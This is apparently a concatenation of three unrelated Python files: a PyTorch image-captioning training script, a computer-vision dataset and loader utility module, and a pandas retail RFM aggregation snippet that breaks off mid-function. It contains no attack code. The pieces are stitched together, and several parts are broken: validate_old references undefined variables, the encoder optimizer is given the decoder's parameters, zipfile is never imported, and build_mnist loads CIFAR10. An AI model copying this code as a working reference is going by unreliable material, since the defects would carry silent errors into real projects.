#mount drive for both input and output
#from google.colab import drive
#drive.mount('/content/drive')

# code
from caption import *
from models	 import *

# miscellaneous
import numpy as np
from collections import Counter
import h5py
import json
import time
from tqdm import tqdm
from nltk.translate.bleu_score import corpus_bleu, sentence_bleu

# PyTorch
import torch
import torch.optim
from torch.optim import Adam
import torch.utils.data as data
import torch.nn.functional as F
import torch.backends.cudnn as cudnn
import torchvision.transforms as transforms
from torch.nn.utils.rnn import pack_padded_sequence
import pdb
from pathlib import Path
# computing environment
cuda = torch.cuda.is_available()
#args.cuda = False

if cuda:
    print('Running on GPU')
    device = torch.device ('cuda:1')
else:
    print('Running on CPU')
    device = torch.device ('cpu')
#device= 'cpu'
#cudnn.benchmark = True

# PARAMETERS

# dir
# input_dir = 'drive/My Drive/img_cap/processed_input/' # input directory (processed data)
input_dir = '/run/user/1435515045/gvfs/smb-share:server=terracotta.psychology.pitt.edu,share=projects/Sanchayan/flickr_localized_narrative/all_info/'
output_dir = "/run/user/1435515045/gvfs/smb-share:server=terracotta.psychology.pitt.edu,share=projects/Sanchayan/flickr_localized_narrative/all_info/model/" # save model directory
trained_model = None   # path to pre-trained model, if there is any
Path(output_dir).mkdir(parents=True, exist_ok=True)
# model
emb_dim = 512       # word embedding dimension
att_dim = 512       # attention dimension/size
dec_dim = 512       # decoder RNN/LSTM dimension

# training
enc_lr = 1e-4       # encoder learning rate
dec_lr = 4e-4       # decoder learning rate
batch_size = 16     # batch size, the destroyer of all RAM
grad_threshold = 5. # clip gradient to prevent exploding
alpha_c = 1.        # regularization parameter from the paper
best_bleu = 0.      # highest bleu-4 score
log_freq = 50       # print train/val stats every number of batches
fine_tune = False   # determines whether to fine tune the encoder (resnet 101)

begin_epoch = 0     # beginning epoch (resume training)
num_epoch = 500     # training epochs unless Colab disconnects or early stop
epoch_from_best = 0 # keep track of how many epochs with no improvement

with open(os.path.join(input_dir, "wordmap.json"), 'r') as f:
    word_map = json.load(f)
word_map['<gap>'] = 2055
class StatMeter:
    """
    Keep track of newest val, sum, count, avg.
    """
    def __init__(self):
        self.reset()

    def reset(self):
        self.val = 0
        self.avg = 0
        self.sum = 0
        self.count = 0

    def update(self, val, repeat=1):
        self.val = val
        self.sum += val * repeat
        self.count += repeat
        self.avg = self.sum / self.count

def lr_decay(opt, factor):
    """
    Perform controlled learning rate decay.
    """
    for pg in opt.param_groups:
        pg['lr'] *= factor

def accuracy(scores, targets, k):
    """
    Compute top-k acc.
    """

    batch_size = targets.size(0)
    _, idx = scores.topk(k, dim=1, largest=True, sorted=True)

    targets = targets.view(-1, 1).expand_as(idx)
    right = idx.eq(targets)

    # sum the right list all up
    right_sum = right.view(-1).float().sum()
    acc = right_sum.item() * (100. / batch_size)
    return acc

def clip_gradient(optimizer, threshold):
	"""
	Clips gradients of every parameter.
	"""

	for pg in optimizer.param_groups:
		for p in pg['params']:

			if p.requires_grad:
				p.grad.data.clamp_(-threshold, threshold)

def train(data_loader, encoder, decoder, encoder_opt, decoder_opt, criterion, epoch):
    """
    performs an epoch of training.
    """

    decoder.train()
    encoder.train()

    batch_time = StatMeter()   # forward + backward time by batch
    data_time = StatMeter()    # data loading time by batch
    losses = StatMeter()       # loss per word
    top_accs = StatMeter()     # top 5 accuracy
    tick = time.time()         # initialize time

    # each batch
    for i, (imgs, caps, len_caps) in enumerate(data_loader):
        data_time.update(time.time() - tick)

        # send them to GPU
        imgs = imgs.to(device)
        caps = caps.to(device)
        len_caps = len_caps.to(device)

        # forward: encode images and decode
        imgs = encoder(imgs)

        sorted_caps, decode_lengths, scores, alphas, sorted_idxs = decoder(imgs, caps, len_caps)

       	#print (i, sorted_caps.shape)

        # get targets (excluding <start>)
        targets = sorted_caps[:, 1:]

        # remove undecoded or simply pads with the PackedSequence object
        scores, _ ,  _, _ = pack_padded_sequence(scores, decode_lengths, batch_first=True)
        targets, _ , _, _= pack_padded_sequence(targets, decode_lengths, batch_first=True)

        # compute loss
        loss = criterion(scores, targets)

        # add regularization for soft attention (according to paper)
        loss += alpha_c * ((1. - alphas.sum(dim=1)) ** 2).mean()

        # backward (autograd)
        if encoder_opt: # training encoder is very expensive
            encoder_opt.zero_grad()
        decoder_opt.zero_grad()
        loss.backward()

        # clip gradients if needed
        if grad_threshold:
            clip_gradient(decoder_opt, grad_threshold)
            if encoder_opt:
                clip_gradient(encoder_opt, grad_threshold)

        # update weights with optimizers
        decoder_opt.step()
        if encoder_opt:
            encoder_opt.step()

        # update metrics
        losses.update(loss.item(), sum(decode_lengths))

        top_accs.update(accuracy(scores, targets, 5), sum(decode_lengths))
        batch_time.update(time.time() - tick)
        tick = time.time()

        '''
        if i % log_freq == 0:
            print(f'E [{epoch}][{i}/{len(data_loader)}]\t'
                  f'D {data_time.val:.3f}->{data_time.avg:.3f}\t'
                  f'B {batch_time.val:.3f}->{batch_time.avg:.3f}\t'
                  f'L {loss.val:.4f}->{loss.avg:.4f}\t'
                  f'A {top_accs.val:.3f}->{top_accs.avg:.3f}')
        '''
        print (loss)

def validate_old(data_loader, encoder, decoder, criterion):
    """
    Performs an epoch of validation.
    """
    decoder.eval()
    if encoder:
        encoder.eval()

    # same as train() but without data loading timer
    batch_time = StatMeter()
    losses = StatMeter()
    top_accs = StatMeter()
    tick = time.time()

    ground_truths = []
    predictions = []

    # always disable gradient when evaluating
    with torch.no_grad():
        # all captions also passed in from caption.py
        for i, (imgs, caps, len_caps, all_caps) in enumerate(data_loader):
            # the uncommented operations are similar to train(), please refer to that
            imgs = imgs.to(device)
            caps = caps.to(device)
            len_caps = len_caps.to(device)

            if encoder:
                imgs = encoder(imgs)
            sorted_caps, decode_lengths, scores, alphas, sorted_idxs = decoder(imgs, caps, len_caps)
            targets = sorted_caps[:, 1:]

            scores_cp = scores.clone() # save a copy for bleu score
            scores, _ = pack_padded_sequence(scores, decode_lengths, batch_first=True)
            targets, _ = pack_padded_sequence(targets, decode_lengths, batch_first=True)

            loss = criterion(scores, targets)
            loss += alpha_c * ((1. -  alpha.sum(dim=1)) ** 2).mean()

            losses.update(loss.item(), sum(decode_lengths))
            losses.update(loss.item(), sum(decode_lengths))
            top_accs.update(accuracy(scores, targets, 5), sum(decode_lengths))
            batch_time.update(time.time() - tick)
            tick = time.time()

            if i % log_freq == 0:
                print(f'V [{i}/{len(data_loader)}]\t'
                      f'B {batch_time.val:.3f}->{batch_time.avg:.3f}\t'
                      f'L {loss.val:.4f}->{loss.avg:.4f}\t'
                      f'A {top_accs.val:.3f}->{top_accs.avg:.3f}')

            # get ground truths (sort captions and get rid of start and end tokens)
            all_caps = all_caps[sorted_idxs]
            for j in range(all_caps.shape[0]):
                img_caps = all_caps[j].tolist()
                # get rid of <start> and <end> because they increase the bleu score
                img_caps = list(map(lambda cap: [w for w in cap if (w != word_map['<start>'] and w != word_map['<pad>'])],
                                img_caps))
                ground_truths.append(img_caps)

            # get predictions
            _, preds = torch.max(scores_cp, dim=2)
            preds = preds.tolist()
            temp = []
            for j, p in enumerate(preds):
                # not including pads
                temp.append(preds[j][:decode_lengths[j]])
            preds = temp
            predictions.extend(preds)

            assert len(ground_truths) == len(predictions)

        # use corpus_bleu library functions to calculate bleu score
        bleu_score = corpus_bleu(ground_truths, predictions)
        print(f'\nL {loss.avg:.3f} A {top_5.avg:.3f}, B {bleu_score}\n')

    return bleu_score

def validate(data_loader, encoder, decoder, criterion):
    """
    Performs an epoch of validation.
    """
    decoder.eval()
    if encoder:
        encoder.eval()

    # same as train() but without data loading timer
    batch_time = StatMeter()
    losses = StatMeter()
    top_accs = StatMeter()
    tick = time.time()

    ground_truths = []
    predictions = []

    # always disable gradient when evaluating
    with torch.no_grad():
        # all captions also passed in from caption.py
        for i, (imgs, caps, len_caps) in enumerate(data_loader):
            # the uncommented operations are similar to train(), please refer to that
            imgs = imgs.to(device)
            caps = caps.to(device)
            len_caps = len_caps.to(device)

            if encoder:
                imgs = encoder(imgs)
            sorted_caps, decode_lengths, scores, alphas, sorted_idxs = decoder(imgs, caps, len_caps)
            targets = sorted_caps[:, 1:]

            scores_cp = scores.clone() # save a copy for bleu score
            scores, _, _, _ = pack_padded_sequence(scores, decode_lengths, batch_first=True)
            targets, _, _,_ = pack_padded_sequence(targets, decode_lengths, batch_first=True)

            loss = criterion(scores, targets)
            loss += alpha_c * ((1. -  alphas.sum(dim=1)) ** 2).mean()

            losses.update(loss.item(), sum(decode_lengths))
            losses.update(loss.item(), sum(decode_lengths))
            top_accs.update(accuracy(scores, targets, 5), sum(decode_lengths))
            batch_time.update(time.time() - tick)
            tick = time.time()

            '''
            if i % log_freq == 0:
                print(f'V [{i}/{len(data_loader)}]\t'
                      f'B {batch_time.val:.3f}->{batch_time.avg:.3f}\t'
                      f'L {loss.val:.4f}->{loss.avg:.4f}\t'
                      f'A {top_accs.val:.3f}->{top_accs.avg:.3f}')
            '''

            # get ground truths (sort captions and get rid of start and end tokens)
            #all_caps = all_caps[sorted_idxs]
            for j in range(sorted_caps.shape[0]):
                img_caps = sorted_caps[j].tolist()

                # get rid of <start> and <end> because they increase the bleu score

                selected_caps= [x for x in img_caps if x!=word_map['<start>'] and x!=word_map['<pad>'] and x!=word_map['<end>']]
                '''
                img_caps = list(map(lambda cap: [w for w in cap if (w != word_map['<start>'] and w != word_map['<pad>'])],
                                img_caps))
                '''

                ground_truths.append([selected_caps])

            # get predictions
            _, preds = torch.max(scores_cp, dim=2)
            preds = preds.tolist()
            temp = []
            for j, p in enumerate(preds):
                # not including pads
                temp.append(preds[j][:decode_lengths[j]])
            preds = temp
            predictions.extend(preds)

            assert len(ground_truths) == len(predictions)

            print (loss)

        # use corpus_bleu library functions to calculate bleu score
        bleu_score = corpus_bleu(ground_truths, predictions)

        #print(f'\nL {loss.avg:.3f} A {top_5.avg:.3f}, B {bleu_score}\n')

    return bleu_score, predictions, ground_truths

def save_model(epoch, encoder, decoder, encoder_opt, decoder_opt, new_bleu, predictions, ground_truth,save_path):

	torch.save ({'epoch' : epoch,
                'encoder' : encoder,
                 'decoder' : decoder,
				'encoder_state_dict': encoder.state_dict(),
                'decoder_state_dict': decoder.state_dict(),
                'encoder_opt': encoder_opt,
                'decoder_opt': decoder_opt,
                'bleu': new_bleu,
                'predictions':predictions,
                'ground_truth': ground_truth}, save_path+str(epoch))

	return
def train_and_validate(trained_model=trained_model, best_bleu=best_bleu, begin_epoch=begin_epoch,
                       epoch_from_best=epoch_from_best, fine_tune=fine_tune, word_map=word_map):

    decoder = DecoderWithAttention(len(word_map), emb_dim, dec_dim, att_dim, device=device )
    decoder_opt = Adam(params=filter(lambda p: p.requires_grad, decoder.parameters()), lr = dec_lr)
    encoder = Encoder()

    encoder.fine_tune(fine_tune)

    if fine_tune:
        encoder_opt = Adam(params=filter(lambda p: p.requires_grad, decoder.parameters()), lr = enc_lr)
    else:
        encoder_opt = None

    # move everything to device
    decoder = decoder.to(device)
    encoder = encoder.to(device)
    criterion = nn.CrossEntropyLoss().to(device)

    # transform while loading data
    normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],
                                     std=[0.229, 0.224, 0.225])

    trainset = CapData(input_dir, 'tr', transform=transforms.Compose([normalize]))
    validset = CapData(input_dir, 'vl', transform=transforms.Compose([normalize]))
    testset = CapData(input_dir, 'ts', transform=transforms.Compose([normalize]))
    # create data loaders, one worker for moving data, pin_memory for fast data transfer
    train_data_loader = data.DataLoader(
        trainset,
        batch_size=batch_size, collate_fn= trainset.collate_fn,shuffle=True, num_workers=0, pin_memory=False)
    val_data_loader = data.DataLoader(
        validset,
        batch_size=batch_size, collate_fn= validset.collate_fn, shuffle=False, num_workers=0, pin_memory=False)
    test_data_loader = data.DataLoader(
        testset,
        batch_size=batch_size, collate_fn= testset.collate_fn, shuffle=False, num_workers=0, pin_memory=False)

    for epoch in range(begin_epoch, num_epoch):
        if epoch_from_best >= 25:
            break
        # learning rate decay every 10 epochs with no improvement
        if epoch_from_best % 10 == 0 and epoch_from_best != 0:
            if fine_tune:
                lr_decay(encoder_opt, 0.8)
            lr_decay(decoder_opt, 0.8)

        # train and validate
        train(train_data_loader, encoder, decoder, encoder_opt, decoder_opt, criterion, epoch)
        val_bleu, val_predictions, val_ground_truth = validate(val_data_loader, encoder, decoder, criterion)
        test_bleu, test_predictions, test_ground_truth = validate(test_data_loader, encoder, decoder, criterion)

        update = val_bleu > best_bleu

        if update:
            epoch_from_best = 0
            best_bleu = val_bleu
            print("New improvement!")
            save_model(epoch,encoder, decoder, encoder_opt, decoder_opt, best_bleu, test_predictions, test_ground_truth, output_dir)

        else:
            epoch_from_best += 1
            print(f"No improvement for {epoch_from_best} epochs")

train_and_validate()


import random
import torch
import torch.nn as nn
import torch.utils
import torch.nn.functional as F
import torchvision.datasets as dset
import torch.utils.data as data
import torchvision.transforms as transforms
import torch.backends.cudnn as cudnn
import numpy as np
import threading
import logging
import os
import gc
import shutil
from io import BytesIO
from PIL import Image, ImageFile
ImageFile.LOAD_TRUNCATED_IMAGES = True

class Cutout(object):
    def __init__(self, length):
        self.length = length

    def __call__(self, img):
        h, w = img.size(1), img.size(2)
        mask = np.ones((h, w), np.float32)
        y = np.random.randint(h)
        x = np.random.randint(w)

        y1 = np.clip(y - self.length // 2, 0, h)
        y2 = np.clip(y + self.length // 2, 0, h)
        x1 = np.clip(x - self.length // 2, 0, w)
        x2 = np.clip(x + self.length // 2, 0, w)

        mask[y1: y2, x1: x2] = 0.
        mask = torch.from_numpy(mask)
        mask = mask.expand_as(img)
        img *= mask
        return img

IMG_EXTENSIONS = ['.jpg', '.jpeg', '.png', '.ppm', '.bmp', '.pgm', '.tif']

def has_file_allowed_extension(filename, extensions):
    filename_lower = filename.lower()
    return any(filename_lower.endswith(ext) for ext in extensions)

def convert_to_pil(bytes_obj):
    img = Image.open(BytesIO(bytes_obj))
    #img = Image.open(bytes_obj)
    #img = bytes_obj
    return img.convert('RGB')

def _data_transforms_mnist(cutout_size):
    CIFAR_MEAN = [0.49139968]
    CIFAR_STD = [0.24703233]

    train_transform = transforms.Compose([
        transforms.RandomCrop(32, padding=4),
        transforms.RandomHorizontalFlip(),
        transforms.ToTensor(),
        transforms.Normalize(CIFAR_MEAN, CIFAR_STD),
    ])
    if cutout_size is not None:
        train_transform.transforms.append(Cutout(cutout_size))

    valid_transform = transforms.Compose([
        transforms.ToTensor(),
        transforms.Normalize(CIFAR_MEAN, CIFAR_STD),
    ])
    return train_transform, valid_transform

def _data_transforms_cifar10(cutout_size):
    CIFAR_MEAN = [0.49139968, 0.48215827, 0.44653124]
    CIFAR_STD = [0.24703233, 0.24348505, 0.26158768]

    train_transform = transforms.Compose([
        transforms.RandomCrop(32, padding=4),
        transforms.RandomHorizontalFlip(),
        transforms.ToTensor(),
        transforms.Normalize(CIFAR_MEAN, CIFAR_STD),
    ])
    if cutout_size is not None:
        train_transform.transforms.append(Cutout(cutout_size))

    valid_transform = transforms.Compose([
        transforms.ToTensor(),
        transforms.Normalize(CIFAR_MEAN, CIFAR_STD),
    ])
    return train_transform, valid_transform

class ReadImageThread(threading.Thread):
    def __init__(self, root, fnames, class_id, target_list):
        threading.Thread.__init__(self)
        self.root = root
        self.fnames = fnames
        self.class_id = class_id
        self.target_list = target_list

    def run(self):
        for fname in self.fnames:
            if has_file_allowed_extension(fname, IMG_EXTENSIONS):
                path = os.path.join(self.root, fname)
                try:
                    image = Image.open(path)
                except(OSError, NameError):
                    os.remove(path)
                    continue
                image.close()
                if(random.random()<0.1):
                    continue
                with open(path, 'rb') as f:
                    image = f.read()
                item = (image, self.class_id)
                self.target_list.append(item)

class InMemoryDataset(data.Dataset):
    def __init__(self, path, transform=None, num_workers=1):
        super(InMemoryDataset, self).__init__()
        self.path = path
        self.transform = transform
        self.samples = []
        classes, class_to_idx = self.find_classes(self.path)
        dir = os.path.expanduser(self.path)
        for target in sorted(os.listdir(dir)):
            d = os.path.join(dir, target)
            if not os.path.isdir(d):
                continue
            for root, _, fnames in sorted(os.walk(d)):
                if num_workers == 1:
                    for fname in sorted(fnames):
                        if has_file_allowed_extension(fname, IMG_EXTENSIONS):
                            path = os.path.join(root, fname)
                            try:
                               image = Image.open(path)
                            except(OSError, NameError):
                               os.remove(path)
                               continue
                            image.close()
                            with open(path, 'rb') as f:
                               image = f.read()
                            item = (image, class_to_idx[target])
                            self.samples.append(item)
                else:
                    fnames = sorted(fnames)
                    num_files = len(fnames)
                    threads = []
                    res = [[] for i in range(num_workers)]
                    num_per_worker = num_files // num_workers
                    for i in range(num_workers):
                        start_index = num_per_worker * i
                        end_index = num_files if i == num_workers - \
                            1 else num_per_worker * (i+1)
                        thread = ReadImageThread(
                            root, fnames[start_index:end_index], class_to_idx[target], res[i])
                        threads.append(thread)
                    for thread in threads:
                        thread.start()
                    for thread in threads:
                        thread.join()
                    for item in res:
                        self.samples += item
                    del res, threads
                    gc.collect()
    def __len__(self):
        return len(self.samples)

    def __getitem__(self, index):
        sample, target = self.samples[index]
        sample = convert_to_pil(sample)
        if self.transform is not None:
            sample = self.transform(sample)
        return sample, target

    def __repr__(self):
        fmt_str = 'Dataset ' + self.__class__.__name__ + '\n'
        fmt_str += '    Number of datapoints: {}\n'.format(self.__len__())
        fmt_str += '    Root Location: {}\n'.format(self.path)
        tmp = '    Transforms (if any): '
        fmt_str += '{0}{1}\n'.format(tmp, self.transform.__repr__().replace('\n', '\n' + ' ' * len(tmp)))
        tmp = '    Target Transforms (if any): '
        fmt_str += '{0}{1}'.format(tmp, self.target_transform.__repr__().replace('\n', '\n' + ' ' * len(tmp)))
        return fmt_str

    @staticmethod
    def find_classes(root):
        classes = [d for d in os.listdir(root) if os.path.isdir(os.path.join(root, d))]
        classes.sort()
        class_to_idx = {classes[i]: i for i in range(len(classes))}
        return classes, class_to_idx

class ZipDataset(data.Dataset):
    def __init__(self, path, transform=None):
        super(ZipDataset, self).__init__()
        self.path = os.path.expanduser(path)
        self.transform = transform
        self.samples = []
        with zipfile.ZipFile(self.path, 'r') as reader:
            classes, class_to_idx = self.find_classes(reader)
            fnames = sorted(reader.namelist())
        for fname in fnames:
            if self.is_directory(fname):
                continue
            target = self.get_target(fname)
            item = (fname, class_to_idx[target])
            self.samples.append(item)

    def __len__(self):
        return len(self.samples)

    def __getitem__(self, index):
        sample, target = self.samples[index]
        with zipfile.ZipFile(self.path, 'r') as reader:
            sample = reader.read(sample)
        sample = convert_to_pil(sample)
        if self.transform is not None:
            sample = self.transform(sample)
        return sample, target

    def __repr__(self):
        fmt_str = 'Dataset ' + self.__class__.__name__ + '\n'
        fmt_str += '    Number of datapoints: {}\n'.format(self.__len__())
        fmt_str += '    Root Location: {}\n'.format(self.path)
        tmp = '    Transforms (if any): '
        fmt_str += '{0}{1}\n'.format(tmp, self.transform.__repr__().replace('\n', '\n' + ' ' * len(tmp)))
        tmp = '    Target Transforms (if any): '
        fmt_str += '{0}{1}'.format(tmp, self.target_transform.__repr__().replace('\n', '\n' + ' ' * len(tmp)))
        return fmt_str

    @staticmethod
    def is_directory(fname):
        if fname.startswith('n') and fname.endswith('/'):
            return True
        return False

    @staticmethod
    def get_target(fname):
        assert fname.startswith('n')
        return fname.split('/')[0]

    @staticmethod
    def find_classes(reader):
        classes = [ZipDataset.get_target(name) for name in reader.namelist() if ZipDataset.is_directory(name)]
        classes.sort()
        class_to_idx = {classes[i]: i for i in range(len(classes))}
        return classes, class_to_idx

def build_mnist(data_path,
                  cutout_size=16,
                  num_worker=10,
                  train_batch_size=32,
                  eval_batch_size=32,
                  split_train_for_valid: float = None,
                  small_set=1, **kwargs):

    train_transform, valid_transform = _data_transforms_mnist(cutout_size)
    if split_train_for_valid is None:
        train_data = dset.CIFAR10(
            root=data_path, train=True, download=True, transform=train_transform)
        valid_data = dset.CIFAR10(
            root=data_path, train=False, download=True, transform=valid_transform)

        train_queue = torch.utils.data.DataLoader(
            train_data, batch_size=train_batch_size, shuffle=True, pin_memory=True, num_workers=num_worker)
        valid_queue = torch.utils.data.DataLoader(
            valid_data, batch_size=eval_batch_size, shuffle=False, pin_memory=True, num_workers=num_worker)
    else:
        train_data = dset.CIFAR10(
            root=data_path, train=True, download=True, transform=train_transform)
        valid_data = dset.CIFAR10(
            root=data_path, train=True, download=True, transform=valid_transform)
        n = int(len(train_data)*small_set)
        indices = list(range(n))
        split = int(np.floor(split_train_for_valid * n))
        np.random.shuffle(indices)
        train_queue = torch.utils.data.DataLoader(
            train_data, batch_size=train_batch_size,
            sampler=torch.utils.data.sampler.SubsetRandomSampler(
                indices[:split]),
            pin_memory=True, num_workers=num_worker)
        valid_queue = torch.utils.data.DataLoader(
            valid_data, batch_size=eval_batch_size,
            sampler=torch.utils.data.sampler.SubsetRandomSampler(
                indices[split:n]),
            pin_memory=True, num_workers=num_worker)

    return train_queue, valid_queue

def build_cifar10(data_path,
                  cutout_size=16,
                  num_worker=10,
                  train_batch_size=32,
                  eval_batch_size=32,
                  split_train_for_valid: float = None,
                  small_set=1, **kwargs):

    train_transform, valid_transform = _data_transforms_cifar10(cutout_size)
    if split_train_for_valid is None:
        train_data = dset.CIFAR10(
            root=data_path, train=True, download=True, transform=train_transform)
        valid_data = dset.CIFAR10(
            root=data_path, train=False, download=True, transform=valid_transform)

        train_queue = torch.utils.data.DataLoader(
            train_data, batch_size=train_batch_size, shuffle=True, pin_memory=True, num_workers=num_worker)
        valid_queue = torch.utils.data.DataLoader(
            valid_data, batch_size=eval_batch_size, shuffle=False, pin_memory=True, num_workers=num_worker)
    else:
        train_data = dset.CIFAR10(
            root=data_path, train=True, download=True, transform=train_transform)
        valid_data = dset.CIFAR10(
            root=data_path, train=True, download=True, transform=valid_transform)
        n = int(len(train_data)*small_set)
        indices = list(range(n))
        split = int(np.floor(split_train_for_valid * n))
        np.random.shuffle(indices)
        train_queue = torch.utils.data.DataLoader(
            train_data, batch_size=train_batch_size,
            sampler=torch.utils.data.sampler.SubsetRandomSampler(
                indices[:split]),
            pin_memory=True, num_workers=num_worker)
        valid_queue = torch.utils.data.DataLoader(
            valid_data, batch_size=eval_batch_size,
            sampler=torch.utils.data.sampler.SubsetRandomSampler(
                indices[split:n]),
            pin_memory=True, num_workers=num_worker)

    return train_queue, valid_queue

def build_cifar100(data_path,
                   cutout_size=16,
                   num_worker=10,
                   train_batch_size=32,
                   eval_batch_size=32,
                   split_train_for_valid: float = None, **kwargs):

    train_transform, valid_transform = _data_transforms_cifar10(cutout_size)
    if split_train_for_valid is None:
        train_data = dset.CIFAR100(
            root=data_path, train=True, download=True, transform=train_transform)
        valid_data = dset.CIFAR100(
            root=data_path, train=False, download=True, transform=valid_transform)

        train_queue = torch.utils.data.DataLoader(
            train_data, batch_size=train_batch_size, shuffle=True, pin_memory=True, num_workers=num_worker)
        valid_queue = torch.utils.data.DataLoader(
            valid_data, batch_size=eval_batch_size, shuffle=False, pin_memory=True, num_workers=num_worker)
    else:
        train_data = dset.CIFAR100(
            root=data_path, train=True, download=True, transform=train_transform)
        valid_data = dset.CIFAR100(
            root=data_path, train=True, download=True, transform=valid_transform)
        n = len(train_data)
        indices = list(range(n))
        split = int(np.floor(split_train_for_valid * n))
        np.random.shuffle(indices)
        train_queue = torch.utils.data.DataLoader(
            train_data, batch_size=train_batch_size,
            sampler=torch.utils.data.sampler.SubsetRandomSampler(
                indices[:split]),
            pin_memory=True, num_workers=num_worker)
        valid_queue = torch.utils.data.DataLoader(
            valid_data, batch_size=eval_batch_size,
            sampler=torch.utils.data.sampler.SubsetRandomSampler(
                indices[split:n]),
            pin_memory=True, num_workers=num_worker)

    return train_queue, valid_queue

def build_imagenet(data_path,
                   load_num_work=32,
                   feed_num_work=16,
                   zip_file: bool = False,
                   lazy_load: bool = False,
                   train_batch_size: int = 128,
                   valid_batch_size: int = 128):
    normalize = transforms.Normalize(
        mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
    train_transform = transforms.Compose([
        transforms.RandomResizedCrop(224),
        transforms.RandomHorizontalFlip(),
        transforms.ColorJitter(
            brightness=0.4,
            contrast=0.4,
            saturation=0.4,
            hue=0.2),
        transforms.ToTensor(),
        normalize])

    valid_transform = transforms.Compose([
        transforms.Resize(256),
        transforms.CenterCrop(224),
        transforms.ToTensor(),
        normalize])
    if zip_file:
        logging.debug('Loading data from zip file')
        traindir = os.path.join(data_path, 'train.zip')
        validdir = os.path.join(data_path, 'valid.zip')
        if lazy_load:
            train_data = ZipDataset(traindir, train_transform)
            valid_data = ZipDataset(validdir, valid_transform)
        else:
            logging.debug('Loading data into memory')
            train_data = InMemoryZipDataset(
                traindir, train_transform, num_workers=load_num_work)
            valid_data = InMemoryZipDataset(
                validdir, valid_transform, num_workers=load_num_work)
    else:
        logging.debug('Loading data from directory')
        traindir = os.path.join(data_path, 'ILSVRC2012_img_train/')
        validdir = os.path.join(data_path, 'ILSVRC2012_img_val/')
        if lazy_load:
            train_data = dset.ImageFolder(traindir, train_transform)
            valid_data = dset.ImageFolder(validdir, valid_transform)
        else:
            logging.debug('Loading data into memory')
            train_data = InMemoryDataset(
                traindir, train_transform, num_workers=load_num_work)
            valid_data = InMemoryDataset(
                validdir, valid_transform, num_workers=load_num_work)

    logging.info('[ImageNet] Found %d in training data', len(train_data))
    logging.info('[ImageNet] Found %d in validation data', len(valid_data))

    train_queue = torch.utils.data.DataLoader(
        train_data, batch_size=train_batch_size, shuffle=True, pin_memory=True, num_workers=feed_num_work)
    valid_queue = torch.utils.data.DataLoader(
        valid_data, batch_size=valid_batch_size, shuffle=True, pin_memory=True, num_workers=feed_num_work)
    return train_queue, valid_queue

class auto_data(object):
    @staticmethod
    def generate_data(value_range=(0,15), length_range=(10,20), num_samples=500000, data_parser=lambda x: ' '.join(['.'.join([str(j) for j in i]) for i in x.reshape(-1, 3)])):
        dataset =  list()
        data1 = list()
        data2 = list()
        for i in range(length_range[0], length_range[1], 1):
            data1.extend([i for i in np.random.randint(value_range[0], value_range[1], size=(np.ceil(num_samples/(length_range[1]-length_range[0])).astype('int'), i*3))])
            data2.extend([i for i in np.random.randint(value_range[0], value_range[1], size=(np.ceil(num_samples/(length_range[1]-length_range[0])).astype('int'), i*3))])
        np.random.shuffle(data1)
        np.random.shuffle(data2)
        for d0, d1 in zip(data1, data2):
            dataset.append('{0} <---> {1}\t{0} <---> {1}'.format(data_parser(d0), data_parser(d1)))
        return dataset

    @staticmethod
    def save_data(data, save_path='./Res/PretrainModel/', file_name='trainset.txt'):
        file = open(os.path.join(save_path, file_name), 'a')
        file.write("\n".join(data))
        file.flush()
        file.close()


import pandas as pd
import numpy as np
import datetime

def load_hh_agg(df) -> pd.DataFrame:
    '''accept the merged table or a subset thereof and return relevant house-level aggregations'''

    def make_hh_agg(df) -> pd.DataFrame:
        # group transactions by household key and aggregate:
        hh_agg = df.groupby('household_key').agg(

        # total spend
            total_spend=pd.NamedAgg(column="SALES_VALUE", aggfunc="sum"),
        # the total loyalty discount
            total_loyalty=pd.NamedAgg(column="RETAIL_DISC", aggfunc="sum"),
        # the total coupon match discount
            total_coupon=pd.NamedAgg(column="COUPON_MATCH_DISC", aggfunc="sum"),
        # total quantity of items purchased
            total_quantity=pd.NamedAgg(column='QUANTITY', aggfunc="sum"),

        # the number of baskets
            num_baskets=pd.NamedAgg(column='BASKET_ID', aggfunc='nunique'),
        # number of unique of items purchased
            unique_products=pd.NamedAgg(column='PRODUCT_ID', aggfunc='nunique'),

        # first day of purchase
            first_purchase=pd.NamedAgg(column='DAY', aggfunc='min'),
        # last day of purchase
            last_purchase=pd.NamedAgg(column='DAY', aggfunc='max'),
                                                                    )

        ### Deriving Avg. Basket Spend and Avg. Item Cost --

        # average basket spend
        hh_agg['avg_basket_spend'] = hh_agg['total_spend']/hh_agg['num_baskets']

        # average item cost (total spend/quantity)
        hh_agg['avg_item_cost'] = hh_agg['total_spend']/hh_agg['total_quantity']
        return hh_agg

    def add_RFM(merged):
        last_days = merged.groupby('household_key')['DAY'].max()
        R = pd.cut(last_days, [0, 525, 615, 675, 700, np.inf], labels=[1,2,3,4,5], ordered=True)
        num_baskets = merged.groupby('household_key')['BASKET_ID'].nunique()
        grouper = merged.groupby('household_key')['DAY']
        days_in_data = grouper.max() - grouper.min() + 1 #(no day 0 in our data)
        transactions_per_day = num_baskets/days_in_data
        F = pd.qcut(transactions_per_day, 5, labels=[1,2,3,4,5])
        M = pd.qcut(np.log(merged.groupby('household_key')['SALES_VALUE'].sum()), 5, labels=[1,2,3,4,5])
        df = pd.concat([R, F, M], axis=1)
        df.columns = ['R', 'F', 'M']
        df['RFM'] = df.sum(axis=1).astype(int)
        customer_ranks = pd.cut(df['RFM'], bins=[0,6,9,13,15, np.inf], labels=[1,2,3,4,5], right=False).astype(int)
        customer_ranks = pd.DataFrame(customer_ranks) ## THIS IS HACKY BRO
        df['RFM Bins'] = customer_ranks

        return df

    def transformed_section_sales(merged):

        def get_section_sales(df) -> pd.DataFrame():

            idx = df.index
            # get dummies for each transaction row
            section_dummies = pd.get_dummies(df['Section Labels'])

            # multiply each row by it's SALES VALUE
            section_sales = section_dummies.apply(lambda x: x * df['SALES_VALUE'])
        #     print(all(section_sales.index == idx))
            # add and group by household key, sum all rows from the dummy columns
            section_sales = section_sales.join(df[['household_key']]).groupby('household_key').agg(sum)
            return section_sales

        # create section sales
        section_sales = get_section_sales(merged)

       # log_transformed sum of section sales
        log_transformed_section_sales = np.log(section_sales).replace([np.inf, -np.inf], np.nan).fillna(0)
        log_transformed_section_sales.columns = [x + '_log_transformed_sales_total' for x in log_transformed_section_sales.columns]

        # daily mean spend per section
        # based on # of days in data;
        # add Days in Data for each household; similar to Frequency transformation
        grouper = merged.groupby('household_key')['DAY']
        duration = (grouper.max() - grouper.min()) + 1 # no day 0
        duration.name = 'Days in Data'
